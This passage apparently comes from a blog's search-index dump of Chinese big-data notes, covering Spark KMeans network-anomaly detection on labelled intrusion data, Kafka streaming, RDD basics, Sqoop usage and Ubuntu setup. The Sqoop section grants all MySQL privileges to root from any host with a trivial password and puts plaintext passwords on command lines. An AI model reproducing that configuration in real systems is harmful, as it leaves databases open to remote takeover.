oneHotPipeline(\"protocol_type\") serviceEncoder, serviceVecCol = oneHotPipeline(\"service\") flagEncoder, flagVecCol = oneHotPipeline(\"flag\") assembleCols = (set(data.columns)-set([\"label\", \"protocol_type\", \"service\", \"flag\"])).union(set([protoTypeVecCol, serviceVecCol, flagVecCol])) assembler = VectorAssembler(inputCols=list(assembleCols), outputCol=\"featureVector\") scaler = StandardScaler(inputCol=\"featureVector\", outputCol=\"scaledFeatureVector\", withStd=True, withMean=False) kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"scaledFeatureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([protoTypeEncoder, serviceEncoder, flagEncoder, assembler, scaler, kmeans]) pipelineModel = pipeline.fit(data) kmeansModel = pipelineModel.stages[-1] Srore=kmeansModel.computeCost(pipelineModel.transform(data)) / data.count() return Srorefor k in range(60, 300, 30): print([k, clusteringScore3(dataDF, k)]) 输出： [60, 38.01382297522162][90, 16.419330083446177][120, 3.2093992442174235][150, 2.1454678299121843][180, 1.6142523558430413][210, 1.3533093788147306][240, 1.0616778921723296][270, 0.9068134376554267] 局部放大： 这些样本结果表明，从 k = 180 这个点开始，评分值的变化趋于平缓。至少现在聚类使用了所有的输入特征。 利用标号的熵信息标签告诉我们每个数据点的真实性质。好的聚类应该和人工标签保持一致，大部分情况 下，标签相同的数据点应聚在一起，而标签不同的数据点不应该在一起，并且簇内的数据 点标签相同。 良好的聚类结果簇中样本类别大体相同，因而熵值较低。我们可以对各个簇的熵加权平均，将结果作为聚类得分： import numpydef entropy(x): ent = 0.0 x_value_list = [x[i] for i in range(x.shape[0])] n=sum(x_value_list) for x_value in x_value_list: p = float(x_value) / n ent -= p * numpy.log(p) return entdef fitPipeline4(data, k): protoTypeEncoder, protoTypeVecCol = oneHotPipeline(\"protocol_type\") serviceEncoder, serviceVecCol = oneHotPipeline(\"service\") flagEncoder, flagVecCol = oneHotPipeline(\"flag\") assembleCols = (set(data.columns)-set([\"label\", \"protocol_type\", \"service\", \"flag\"])).union(set([protoTypeVecCol, serviceVecCol, flagVecCol])) assembler = VectorAssembler(inputCols=list(assembleCols), outputCol=\"featureVector\") scaler = StandardScaler(inputCol=\"featureVector\", outputCol=\"scaledFeatureVector\", withStd=True, withMean=False) kmeans = KMeans().setSeed(int(random.random()*10)).setK(k).setPredictionCol(\"cluster\").setFeaturesCol(\"scaledFeatureVector\").setMaxIter(40).setTol(1.0e-5) pipeline = Pipeline().setStages([protoTypeEncoder, serviceEncoder, flagEncoder, assembler, scaler, kmeans]) pipelineModel = pipeline.fit(data) return pipelineModel# 良好的聚类结果簇中样本类别大体相同，因而熵值较低。对各个簇的熵加权平均，将结果作为聚类得分def clusteringScore4(data, k): pipelineModel = fitPipeline4(data, k) clusterLabel = pipelineModel.transform(data).select(\"cluster\", \"label\") pd=clusterLabel.toPandas() Sum=0 for name, group in pd.groupby(\"cluster\"): labelsize=group.count()[0] a=numpy.array(group.groupby('label').count()) b=[] for i in range(len(a)): for j in range(len(a[i])): b.append(a[i][j]) One=labelsize*entropy(numpy.array(b)) Sum=Sum+One return Sum/data.count()for k in range(60, 300, 30): print([k, clusteringScore4(dataDF, k)]) 输出结果： [60, 0.038993775215004474][90, 0.02985377476611417][120, 0.02266161774992263][150, 0.020766076760220943][180, 0.017547365257679748][210, 0.012974819022593053][240, 0.007150061376894767][270, 0.00833981903044443] 跟以前一样，可以根据上面的分析结果大致看出 k 的合适取值。随着 k 的增加，熵不一定会减小，因此我们找到的可能是一个局部最小值。这里结果同样表明，k 取 240 可能比较合理，因为它的得分实际上低于 210 以及 270。 聚类实战取 k = 180 pipelineModel = fitPipeline4(dataDF, 180)countByClusterLabel = pipelineModel.transform(dataDF).select(\"cluster\", \"label\").groupBy(\"cluster\", \"label\").count().orderBy(\"cluster\", \"label\")countByClusterLabel.show() 这里我们同样把每个簇的标号打印出来。聚类的结果中大部分属于同一簇，以及其他的少部分簇。 +-------+----------+-------+ |cluster| label| count|+-------+----------+-------+| 0| neptune.| 362876|| 0|portsweep.| 1|| 1| ipsweep.| 40|| 1| nmap.| 6|| 1| normal.| 3421|| 1|portsweep.| 2|| 1| satan.| 11|| 1| smurf.|2807886|| 2| neptune.| 1038|| 2|portsweep.| 13|| 2| satan.| 3|| 3| ipsweep.| 13|| 3| neptune.| 1046|| 3| normal.| 38|| 3|portsweep.| 11|| 3| satan.| 3|| 4| neptune.| 1034|| 4| normal.| 4|| 4|portsweep.| 7|| 4| satan.| 4|+-------+----------+-------+only showing top 20 rows 现在可以建立一个真正的异常检测系统了。异常检测时需要度量新数据点到最近的簇质心 的距离。如果这个距离超过某个阈值，那么就表示这个新数据点是异常的。我们可以把阈 值设为已知数据中离中心最远的第 100 个点到中心的距离。 import os, tempfilefrom pyspark.ml.linalg import Vector, VectorspipelineModel = fitPipeline4(dataDF, 180)kmeansModel = pipelineModel.stages[-1]kmeansModel.save(\"/model/3/kmeansModel\")pipelineModel.save(\"/model/3/pipelineModel\")centroids = kmeansModel.clusterCenters()clustered = pipelineModel.transform(dataDF)threshold=clustered.select(\"cluster\", \"scaledFeatureVector\").rdd.map(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector)).sortBy(lambda x: x).take(100)[-1]print(threshold) 输出阈值： 3.232811853048799e-05 最后一步就是在新数据点出现的时候使用阈值进行评估。在 unlabled 数据上进行测试找出异常流量记录，并计算正确率。 clustered = pipelineModel.transform(testDF)anomalies = clustered.rdd.filter(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector) >= threshold).collect()n=len(anomalies)v=0for i in anomalies: if i[\"label\"]!='normal.': v=v+1print(\"正确率:\"+str(float(v)/n)) 输出结果： 正确率:0.8051841158484633 取 k = 240 import os, tempfilefrom pyspark.ml.linalg import Vector, VectorspipelineModel = fitPipeline4(dataDF, 240)kmeansModel = pipelineModel.stages[-1]kmeansModel.save(\"/model/3/test/kmeansModel\")pipelineModel.save(\"/model/3/test/pipelineModel\")centroids = kmeansModel.clusterCenters()clustered = pipelineModel.transform(dataDF)threshold=clustered.select(\"cluster\", \"scaledFeatureVector\").rdd.map(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector)).sortBy(lambda x: x).take(100)[-1]print(threshold) 7.665805787851659e-06 clustered = pipelineModel.transform(testDF)anomalies = clustered.rdd.filter(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector) >= threshold).collect()n=len(anomalies)v=0for i in anomalies: if i[\"label\"]!='normal.': v=v+1print(\"正确率:\"+str(float(v)/n)) 正确率:0.8050769488123118 可以看出 K = 180 是在 unlabled 数据上进行测试找出异常流量记录，计算正确率比 K = 240 有较好的结果。 缩短计算的步长： for k in range(150, 220, 10): print([k, clusteringScore3(dataDF, k)]) 得到评分结果： [150, 2.292921780026778][160, 4.917845778754763][170, 2.0016455721528015][180, 1.7177635513092788][190, 1.5766159846344556][200, 1.5550587983858675][210, 1.2785418817225693] 局部放大： 取 k = 190 import os, tempfilefrom pyspark.ml.linalg import Vector, VectorspipelineModel = fitPipeline4(dataDF, 190)kmeansModel = pipelineModel.stages[-1]kmeansModel.save(\"/model/3/190/kmeansModel\")pipelineModel.save(\"/model/3/190/pipelineModel\")centroids = kmeansModel.clusterCenters()clustered = pipelineModel.transform(dataDF)threshold=clustered.select(\"cluster\", \"scaledFeatureVector\").rdd.map(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector)).sortBy(lambda x: x).take(100)[-1]print(threshold) 3.247829147436459e-05 clustered = pipelineModel.transform(testDF)anomalies = clustered.rdd.filter(lambda a:Vectors.squared_distance(centroids[a.cluster], a.scaledFeatureVector) >= threshold).collect()n=len(anomalies)v=0for i in anomalies: if i[\"label\"]!='normal.': v=v+1print(\"正确率:\"+str(float(v)/n)) 正确率:0.8051841158484633 可以看出 K = 190 是在 unlabled 数据上进行测试找出异常流量记录，计算正确率比 K = 180 有较好的结果。"},{"title":"","date":"2021-02-07T13:57:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Spark/streaming-kafka.html","permalink":"https://blog.mhuig.top/notes/Spark/streaming-kafka","excerpt":"","text":"Streaming & Kafka SparkStreaming 整合 Kafka SparkStreaming 整合 Kafkakafka 的两个重要版本 Kafka-0.8 consumer 在消费消息的时候会记录一个偏移量（offset） offset 偏移量记录上一次消费到哪里了，那么下一次我知道要从哪里继续消费数据 偏移量被保存在 Zookeeper 中 问题：在一个公司里可能有几百号人去消费 kafka 集群，这个时候 zookeeper 会面临高并发的读写（zookeeper 不擅长高并发读写，zookeeper 是有问题的）这个设计明显是有问题的 Kafka-0.10 不再在 zookeeper 中存储 offset 了 在 kafka 中设计了一个特殊topic(__consumer_offset)，将所有的 consumer 中的所有offset存在了这个topic中 这个用来存储 offset 的 topic 默认 50 个分区，如果集群足够大的话那么这些分区也会均匀的分布在整个集群中支持高并发的读写，这样高并发的读写就不会成为瓶颈了 0.8-kafka (zookeeper) 和 0.10-kafka (kafka) 的 offset 是怎么提交的？ 自动提交offset，这样整个系统就可能面临丢失数据的风险 SparkStreaming 防数据丢失设计Kafka 每隔5秒提交一次 offset，如果这样我们的程序就有可能丢数据，为什么？ SparkStreaming 读取到了 kafka 的数据（offset = 100），还没有处理正好遇到了5 s 的时间间隔提交了 offset 这个时候 offset 已经提交了，但是等到处理的时候，发现处理失败了 这样重启的时候数据就发生了丢失，我们企业中当然是不允许数据丢失的 怎么解决丢数据的问题呢？ kafka-0.8：把自动提交 offset 关掉，改成手动提交 offset，但是这个时候有可能出现数据重复；因为你在提交 offset 的时候有可能失败，所以就会重复的消费数据进行处理，但是这个总好过丢数据，并且可以根据幂等性等一些方案对重复数据进行过滤，来保证数据不丢失的前提下保证唯一性 kafka-0.10：和 kafka-0.8 一样关闭自动提交 offset，改成手动提交，只是 offset 存储的地方不一样 实时处理系统中对数据处理的策略 At most once 一条记录要么被处理一次，要么没有被处理（丢数据） At least once 一条记录可能被处理一次或者多次，可能会重复处理（重复消费） Exactly once 一条记录只被处理一次（仅一次） 要想实现仅一次语义 数据的输入：从上一次 offset 读取数据 offset 数据的处理：Spark 本身就有容错，所以天然的就保证了Exactly-Once 数据的输出：利用事务去实现"},{"title":"","date":"2021-02-07T13:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Spark/streaming.html","permalink":"https://blog.mhuig.top/notes/Spark/streaming","excerpt":"","text":"Streaming SparkStreaming 实时任务场景介绍2014 年的大数据的三剑客 Hadoop: 必须会使用 Java Hive: 大数据中使用最广泛的一个技术 Sql => MapReduce Storm : 人性是贪婪的，Hadoop 和 Hive 都是计算的离线的、历史的数据 后来的大数据的三剑客 Spark : 使用 SparkCore 内存计算提高了 MapReduce 的计算效率 Scala、Python、Java SparkSQL: Sql => Spark Core任务 SparkStreaming/Flink 实时的应用场景：2020 淘宝双 11 成交额 4892 亿 实时计算就是来一个订单计算一个订单，每时每刻每秒都在统计 离线计算就是统计某个已经发生的时间段内的数据 例：淘宝在年底的时候计算 1.1-12.31 号的所有订单 坐电梯的时候需要凑够一波人坐电梯上去，把每一个人看作一个数据集攒了一定的人数之后一起坐电梯上去，我们会等待一定的时间统一处理数据，这个时候我们处理的就是历史数据了 特点 处理的是离线的数据 每次处理的数据量比较大 处理的时间比较长，比较慢 扶梯 1、处理的是实时的数据 2、每次处理的数据量不大 3、处理的时间比较短、比较快 数据流 实时任务处理的就是数据流，数据流其实只是一个形象的说法，指的是任务处理的数据像流水一样源源不断的过来，就像水龙头里面的水一样 SparkStreaming 程序入口剖析SparkCore核心抽象：RDD--Resiliennt Distributed Datasets 程序入口：val sc = new SparkContext(conf) 算子的操作：Transformation/Action SparkSQL核心抽象：DataFrame/DataSet 程序入口： Spark 1.x：new SQLContext(conf)、new HiveContext(conf) Spark 2.x/3.x：val ss = new SparkSession(conf) 算子的操作 / SQL SparkStreaming核心抽象：DStream 程序入口： val conf = new SparkConf().setAppName(\"SS\").setMaster(\"local[2]\")val sc = new SparkContext(conf)val ssc = new StreamingContext(sc,Seconds(1)) 算子操作（RDD 的算子操作在 SparkStreaming 上都可以用） DStream 核心抽象深度剖析1、SparkStreaming 的任务是基于 SparkCore，然后我们任务启动的时候，或者是初始化的时候都会有一个 Driver 的服务 2、Driver 端会发送 Receivers 到 Worker 里面，Receiver 其实说白了就是一个接收器，接收数据，这个 Receiver 具体就是表现为一个 Task 任务，默认情况下只有一个 Receiver 可以通过配置多个 3、Receiver 会接收数据，并且会把数据生成 block 块（1、生成文件块的依据是啥？）接着就把这些文件块（block）存入到 Executor 的内存里面，为了保证数据安全，默认这些数据是有副本的，在其它的 Executor 上存储副本 4、receiver 会把 block 的信息（元数据的信息）发送给 Driver 端 5、Driver 端会根据一定的时间间隔（2、封装 RDD 时间间隔是多少？）把这些 block 封装成为一个 RDD，然后进行计算 Receiver 把数据合并成 block 块的依据？ 每 200ms 生成一个 Block 1 个 block 对应 1 个 partition 对应 1 个 task 任务 Driver 将 Block 封装成 RDD 的时间间隔是？ 根据程序入口中的时间参数，如ssc = new StreamingContext(sc,Seconds(1))就是每隔 1s 中将 block 块合封装成一个 RDD SparkStreaming 不是真正意义上的实时计算，不是真的来一条数据就处理一条数据；微批处理，只不过间隔较短，每次数据里的数据量不大，然后又比较快，所以我们就把它认为实时处理了！！！准实时处理 时间间隔： Batch interval 指的就是我们的这个实时任务多久运行一次，这个是我们获取程序入口的时候自己指定的 block interval 默认是 200 ms 一个一个的 RDD 的流就被 Spark 抽象为 DStream RDD 流 = DStream 快速上手引入类库 import org.apache.spark.streaming.dstream.{DStream, ReceiverInputDStream}import org.apache.spark.streaming.{Seconds, StreamingContext}import org.apache.spark.{SparkConf, SparkContext}import org.apache.log4j.{Level, Logger} 步骤 1：初始化程序入口 步骤 2：通过数据源获取数据（数据输入） 步骤 3：进行算子的操作，实现业务（数据处理） 步骤 4：数据的输出 步骤 5：启动任务 步骤 6：等待任务结束"},{"title":"","date":"2022-05-10T06:36:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Sqoop/index.html","permalink":"https://blog.mhuig.top/notes/Sqoop/","excerpt":".fa-secondary{opacity:.4} Sqoop","text":".fa-secondary{opacity:.4} Sqoop Sqoop .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-11T03:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Sqoop/overview.html","permalink":"https://blog.mhuig.top/notes/Sqoop/overview","excerpt":"","text":"Overview 大数据处理技术 - sqoop 数据迁移 概述 sqoop 是 apache 旗下一款 Hadoop 和关系数据库服务器之间传送数据 的工具。 导入数据：MySQL，Oracle 导入数据到 Hadoop 的 HDFS、HIVE、HBASE 等数据存储系统； 导出数据：从 Hadoop 的文件系统中导出数据到关系数据库 mysql 等 sqoop1 与 sqoop2 架构对比sqoop1 架构 sqoop2 架构 工作机制将导入或导出命令翻译成 mapreduce 程序来实现 在翻译出的 mapreduce 中主要是对 inputformat 和 outputformat 进行定制"},{"title":"","date":"2020-05-20T07:45:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Spark/rdd.html","permalink":"https://blog.mhuig.top/notes/Spark/rdd","excerpt":"","text":"RDD Spark RDD 编程 RDD 编程基础RDD 创建从文件系统中加载数据创建 RDDSpark 采用 textFile() 方法来从文件系统中加载数据创建 RDD该方法把文件的 URI 作为参数，这个 URI 可以是 本地文件系统的地址 分布式文件系统 HDFS 的地址 AmazonS3 的地址 等等 从本地文件系统中加载数据创建 RDD>>> lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")>>> lines.foreach(print)Hadoop is goodSpark is fastSpark is better 从分布式文件系统 HDFS 中加载数据>>> lines = sc.textFile(\"hdfs://localhost:9000/user/hadoop/word.txt\")>>> lines = sc.textFile(\"/user/hadoop/word.txt\")>>> lines = sc.textFile(\"word.txt\") 通过并行集合（列表）创建 RDD可以调用 SparkContext 的 parallelize 方法，在 Driver 中一个已经存在的集合（列表）上创建。 >>> array = [1,2,3,4,5]>>> rdd = sc.parallelize(array)>>> rdd.foreach(print)12345 RDD 操作转换操作对于 RDD 而言，每一次转换操作都会产生不同的 RDD，供给下一个 “转换” 使用.转换得到的 RDD 是惰性求值的，也就是说，整个转换过程只是记录了转换的轨迹，并不会发生真正的计算，只有遇到行动操作时，才会发生真正的计算，开始从血缘关系源头开始，进行物理的转换操作. 操作 含义 filter(func) 筛选出满足函数 func 的元素，并返回一个新的数据集 map(func) 将每个元素传递到函数 func 中，并将结果返回为一个新的数据集 flatMap(func) 与 map () 相似，但每个输入元素都可以映射到 0 或多个输出结果 groupByKey() 应用于 (K,V) 键值对的数据集时，返回一个新的 (K,Iterable) 形式的数据集 reduceByKey(func) 应用于 (K,V) 键值对的数据集时，返回一个新的 (K,V) 形式的数据集，其中每个值是将每个 key 传递到函数 func 中进行聚合后的结果 filter(func)筛选出满足函数 func 的元素，并返回一个新的数据集 >>> lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")>>> linesWithSpark = lines.filter(lambda line: \"Spark\" in line)>>> linesWithSpark.foreach(print)Spark is betterSpark is fast map(func)map(func) 操作将每个元素传递到函数 func 中，并将结果返回为一个新的数据集 >>> data = [1,2,3,4,5]>>> rdd1 = sc.parallelize(data)>>> rdd2 = rdd1.map(lambda x:x+10)>>> rdd2.foreach(print)1113121415 flatMap(func)>>> lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")>>> words = lines.flatMap(lambda line:line.split(\" \")) groupByKey()应用于 (K,V) 键值对的数据集时，返回一个新的 (K, Iterable) 形式的数据集 >>> words = sc.parallelize([(\"Hadoop\",1),(\"is\",1),(\"good\",1), \\... (\"Spark\",1),(\"is\",1),(\"fast\",1),(\"Spark\",1),(\"is\",1),(\"better\",1)])>>> words1 = words.groupByKey()>>> words1.foreach(print)('Hadoop', <pyspark.resultiterable.ResultIterable object at 0x7fb210552c88>)('better', <pyspark.resultiterable.ResultIterable object at 0x7fb210552e80>)('fast', <pyspark.resultiterable.ResultIterable object at 0x7fb210552c88>)('good', <pyspark.resultiterable.ResultIterable object at 0x7fb210552c88>)('Spark', <pyspark.resultiterable.ResultIterable object at 0x7fb210552f98>)('is', <pyspark.resultiterable.ResultIterable object at 0x7fb210552e10>) reduceByKey(func)应用于 (K,V) 键值对的数据集时，返回一个新的 (K, V) 形式的数据集，其中的每个值是将每个 key 传递到函数 func 中进行聚合后得到的结果 >>> words = sc.parallelize([(\"Hadoop\",1),(\"is\",1),(\"good\",1),(\"Spark\",1), \\... (\"is\",1),(\"fast\",1),(\"Spark\",1),(\"is\",1),(\"better\",1)])>>> words1 = words.reduceByKey(lambda a,b:a+b)>>> words1.foreach(print) ('good', 1)('Hadoop', 1)('better', 1)('Spark', 2)('fast', 1)('is', 3) 行动操作行动操作是真正触发计算的地方。Spark 程序执行到行动操作时，才会执行真正的计算，从文件中加载数据，完成一次又一次转换操作，最终，完成行动操作得到结果。 操作 含义 count() 返回数据集中的元素个数 collect() 以数组的形式返回数据集中的所有元素 first() 返回数据集中的第一个元素 take(n) 以数组的形式返回数据集中的前 n 个元素 reduce(func) 通过函数 func（输入两个参数并返回一个值）聚合数据集中的元素 foreach(func) 将数据集中的每个元素传递到函数 func 中运行 惰性机制所谓的 “惰性机制” 是指，整个转换过程只是记录了转换的轨迹，并不会发生真正的计算，只有遇到行动操作时，才会触发 “从头到尾” 的真正的计算这里给出一段简单的语句来解释 Spark 的惰性机制 >>> lines = sc.textFile(\"file:///usr/local/spark/mycode/rdd/word.txt\")>>> lineLengths = lines.map(lambda s:len(s))>>> totalLength = lineLengths.reduce(lambda a,b:a+b)>>> print(totalLength) 持久化在 Spark 中，RDD 采用惰性求值的机制，每次遇到行动操作，都会从头开始执行计算。每次调用行动操作，都会触发一次从头开始的计算。这对于迭代计算而言，代价是很大的，迭代计算经常需要多次重复使用同一组数据 >>> list = [\"Hadoop\",\"Spark\",\"Hive\"]>>> rdd = sc.parallelize(list)>>> print(rdd.count()) //行动操作，触发一次真正从头到尾的计算3>>> print(','.join(rdd.collect())) //行动操作，触发一次真正从头到尾的计算Hadoop,Spark,Hive 可以通过持久化（缓存）机制避免这种重复计算的开销 可以使用 persist() 方法对一个 RDD 标记为持久化 之所以说 “标记为持久化”，是因为出现 persist() 语句的地方，并不会马上计算生成 RDD 并把它持久化，而是要等到遇到第一个行动操作触发真正计算以后，才会把计算结果进行持久化 持久化后的 RDD 将会被保留在计算节点的内存中被后面的行动操作重复使用 >>> list = [\"Hadoop\",\"Spark\",\"Hive\"]>>> rdd = sc.parallelize(list)>>> rdd.cache() #会调用persist(MEMORY_ONLY)，但是，语句执行到这里，并不会缓存rdd，因为这时rdd还没有被计算生成>>> print(rdd.count()) #第一次行动操作，触发一次真正从头到尾的计算，这时上面的rdd.cache()才会被执行，把这个rdd放到缓存中3>>> print(','.join(rdd.collect())) #第二次行动操作，不需要触发从头到尾的计算，只需要重复使用上面缓存中的rddHadoop,Spark,Hive 分区RDD 是弹性分布式数据集，通常 RDD 很大，会被分成很多个分区，分别保存在不同的节点上RDD 分区的一个原则是使得分区的个数尽量等于集群中的 CPU 核心（core）数目 键值对 RDD键值对 RDD 的创建从文件中加载可以采用多种方式创建键值对 RDD，其中一种主要方式是使用 map() 函数来实现 >>> lines = sc.textFile(\"file:///usr/local/spark/mycode/pairrdd/word.txt\")>>> pairRDD = lines.flatMap(lambda line:line.split(\" \")).map(lambda word:(word,1))>>> pairRDD.foreach(print)('I', 1)('love', 1)('Hadoop', 1)…… 通过并行集合（列表）创建 RDD>>> list = [\"Hadoop\",\"Spark\",\"Hive\",\"Spark\"]>>> rdd = sc.parallelize(list)>>> pairRDD = rdd.map(lambda word:(word,1))>>> pairRDD.foreach(print)(Hadoop,1)(Spark,1)(Hive,1)(Spark,1) 常用的键值对 RDD 转换操作reduceByKey(func)使用 func 函数合并具有相同键的值 >>> pairRDD = sc.parallelize([(\"Hadoop\",1),(\"Spark\",1),(\"Hive\",1),(\"Spark\",1)])>>> pairRDD.reduceByKey(lambda a,b:a+b).foreach(print)('Spark', 2)('Hive', 1)('Hadoop', 1) groupByKey()对具有相同键的值进行分组 >>> list = [(\"spark\",1),(\"spark\",2),(\"hadoop\",3),(\"hadoop\",5)]>>> pairRDD = sc.parallelize(list)>>> pairRDD.groupByKey()PythonRDD[27] at RDD at PythonRDD.scala:48>>> pairRDD.groupByKey().foreach(print)('hadoop', <pyspark.resultiterable.ResultIterable object at 0x7f2c1093ecf8>)('spark', <pyspark.resultiterable.ResultIterable object at 0x7f2c1093ecf8>) sortByKey()返回一个根据键排序的 RDD >>> list = [(\"Hadoop\",1),(\"Spark\",1),(\"Hive\",1),(\"Spark\",1)]>>> pairRDD = sc.parallelize(list)>>> pairRDD.foreach(print)('Hadoop', 1)('Spark', 1)('Hive', 1)('Spark', 1)>>> pairRDD.sortByKey().foreach(print)('Hadoop', 1)('Hive', 1)('Spark', 1)('Spark', 1) mapValues(func)对键值对 RDD 中的每个 value 都应用一个函数，但是，key 不会发生变化 >>> list = [(\"Hadoop\",1),(\"Spark\",1),(\"Hive\",1),(\"Spark\",1)]>>> pairRDD = sc.parallelize(list)>>> pairRDD1 = pairRDD.mapValues(lambda x:x+1)>>> pairRDD1.foreach(print)('Hadoop', 2)('Spark', 2)('Hive', 2)('Spark', 2) joinjoin 就表示内连接。对于内连接，对于给定的两个输入数据集 (K,V1) 和 (K,V2)，只有在两个数据集中都存在的 key 才会被输出，最终得到一个 (K,(V1,V2)) 类型的数据集。 >>> pairRDD1 = sc. \\... parallelize([(\"spark\",1),(\"spark\",2),(\"hadoop\",3),(\"hadoop\",5)])>>> pairRDD2 = sc.parallelize([(\"spark\",\"fast\")])>>> pairRDD3 = pairRDD1.join(pairRDD2)>>> pairRDD3.foreach(print)('spark', (1, 'fast'))('spark', (2, 'fast'))"},{"title":"","date":"2019-05-11T03:36:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Sqoop/uses.html","permalink":"https://blog.mhuig.top/notes/Sqoop/uses","excerpt":"","text":"安装部署 大数据处理技术 - sqoop 实战及原理 下载并解压安装 sqoop 的前提是已经具备 java 和 hadoop 的环境 下载地址http://archive.cloudera.com/cdh5/cdh/5/sqoop1 版本详细下载地址http://archive.cloudera.com/cdh5/cdh/5/sqoop-1.4.6-cdh5.14.0.tar.gzsqoop2 版本详细下载地址http://archive.cloudera.com/cdh5/cdh/5/sqoop2-1.99.5-cdh5.14.0.tar.gz 我们这里使用 sqoop1 的版本，下载之后上传到/export/softwares 目录下，然后进行解压 cd /export/softwarestar -zxvf sqoop-1.4.6-cdh5.14.0.tar.gz -C ../servers/ 修改配置文件cd /export/servers/sqoop-1.4.6-cdh5.14.0/conf/cp sqoop-env-template.sh sqoop-env.shvim sqoop-env.sh sqoop-env.shexport HADOOP_COMMON_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0export HADOOP_MAPRED_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0export HIVE_HOME=/export/servers/hive-1.1.0-cdh5.14.0 加入额外的依赖包sqoop 的使用需要添加两个额外的依赖包，一个是 mysql 的驱动包，一个是 java-json 的的依赖包，不然就会报错 mysql-connector-java-5.1.40.jarjava-json.jar 验证启动cd /export/servers/sqoop-1.4.6-cdh5.14.0bin/sqoop-version Sqoop 的数据导入“导入工具” 导入单个表从 RDBMS 到 HDFS。表中的每一行被视为 HDFS 的记录。所有记录都存储为文本文件的文本数据（或者 Avro、sequence 文件等二进制数据） 列举出所有的数据库 命令行查看帮助 bin/sqoop list-databases --help 列出 win10 主机所有的数据库:开启本地数据库远程连接权限: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;flush privileges; bin/sqoop list-databases --connect jdbc:mysql://192.168.52.120:3306/ --username root --password 123456 bin/sqoop list-databases --connect jdbc:mysql://10.6.67.200:3306/ --username root --password 123 查看某一个数据库下面的所有数据表 bin/sqoop list-tables --connect jdbc:mysql://10.6.67.200:3306/test00 --username root --password 123 导入数据库表数据到 HDFS下面的命令用于从 MySQL 数据库服务器中的 emp 表导入 HDFS。 bin/sqoop import --connect jdbc:mysql://10.6.67.200:3306/test00 --password 123 --username root --table emp --m 1 为了验证在 HDFS 导入的数据，请使用以下命令查看导入的数据 hdfs dfs -ls /user/root/emp 导入到 HDFS 指定目录在导入表数据到 HDFS 使用 Sqoop 导入工具，我们可以指定目标目录。使用参数 --target-dir 来指定导出目的地，使用参数 —delete-target-dir 来判断导出目录是否存在，如果存在就删掉 bin/sqoop import --connect jdbc:mysql://10.6.67.200/test00 --username root --password 123 --delete-target-dir --table emp --target-dir /sqoop/emp --m 1 查看导出的数据 hdfs dfs -text /sqoop/emp/part-m-00000 它会用逗号（，）分隔 emp_add 表的数据和字段。 导入到 hdfs 指定目录并指定字段之间的分隔符bin/sqoop import --connect jdbc:mysql://10.6.67.200:3306/test00 --username root --password 123 --delete-target-dir --table emp --target-dir /sqoop/emp3 --m 1 --fields-terminated-by '\\t' 查看文件内容 hdfs dfs -text /sqoop/emp3/part-m-00000 Sqoop 的数据导出将数据从 HDFS 把文件导出到 RDBMS 数据库导出前，目标表必须存在于目标数据库中。 默认操作是从将文件中的数据使用 INSERT 语句插入到表中 更新模式下，是生成 UPDATE 语句更新表数据 hdfs 导出到 mysql数据是在 HDFS 当中的如下目录/sqoop/emp，数据内容如下 第一步：创建 mysql 表 CREATE TABLE emp_out( EMPNO int PRIMARY KEY, #员工编号 ENAME VARCHAR(10), #员工姓名 JOB VARCHAR(9), #员工工作 MGR int, #员工直属领导编号 HIREDATE DATE, #入职时间 SAL double, #工资 COMM double, #奖金 DEPTNO int #对应 dept 表的外键); 第二步：执行导出命令 通过 export 来实现数据的导出，将 hdfs 的数据导出到 mysql 当中去 bin/sqoop export \\--connect jdbc:mysql://10.6.67.200:3306/test00 \\--username root --password 123 \\--table emp_out \\--export-dir /sqoop/emp \\--input-fields-terminated-by \",\" 第三步：验证 mysql 表数据"},{"title":"","date":"2020-05-06T08:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Ubuntu/20.04.html","permalink":"https://blog.mhuig.top/notes/Ubuntu/20.04","excerpt":"","text":"Ubuntu 20.04 LTS Ubuntu 20.04 LTS 在虚拟机中的安装配置 Ubuntu 20.04 LTS 的支持周期长达 5 年，同时适用于 Ubuntu Desktop、Ubuntu Server、Ubuntu Cloud 和 Ubuntu Core，其安全和维护更新直到 2025 年 4 月才到期。其余 flavour 的支持也长达 3 年，更多详细信息请参考 Ubuntu 20.04 LTS 发行说明。 下载 Ubuntu 镜像文件官方下载地址（不推荐） https://www.ubuntu.com/download 中国官网（推荐） https://cn.ubuntu.com/ VMware 安装配置 创建新的虚拟机 桌面版系统安装配置 安装过程完成后，单击「现在重启」以完成整个过程，然后卸下安装介质并按「回车」键以重新引导系统。 服务器版系统安装配置 选择系统语言 - English键盘设置 - English网卡设置，默认。代理服务设置，无代理不填写镜像地址设置，建议换成国内镜像：http://mirrors.aliyun.com/ubuntu/空格选中 SSH 安装。环境，无需选择。开始安装，等待出现重启选项。安装完成，选择重启。 启用 root 用户 启用 root 用户 设置 root 用户使用 sudo passwd root 来设置 root 密码设置 root 密码sudo passwd root然后使用 su root 命令，再输入密码，测试是否可以进入 root 用户进入 rootsu root修改 /root/.profile 文件运行 vim /root/.profile 命令修改文件，但是发现系统没有安装 vim，可以使用 apt install vim 命令自动安装vim 安装成功后，使用 vim /root/.profile 打开该文件（你也可以使用 nano）找到最后一行：mesg 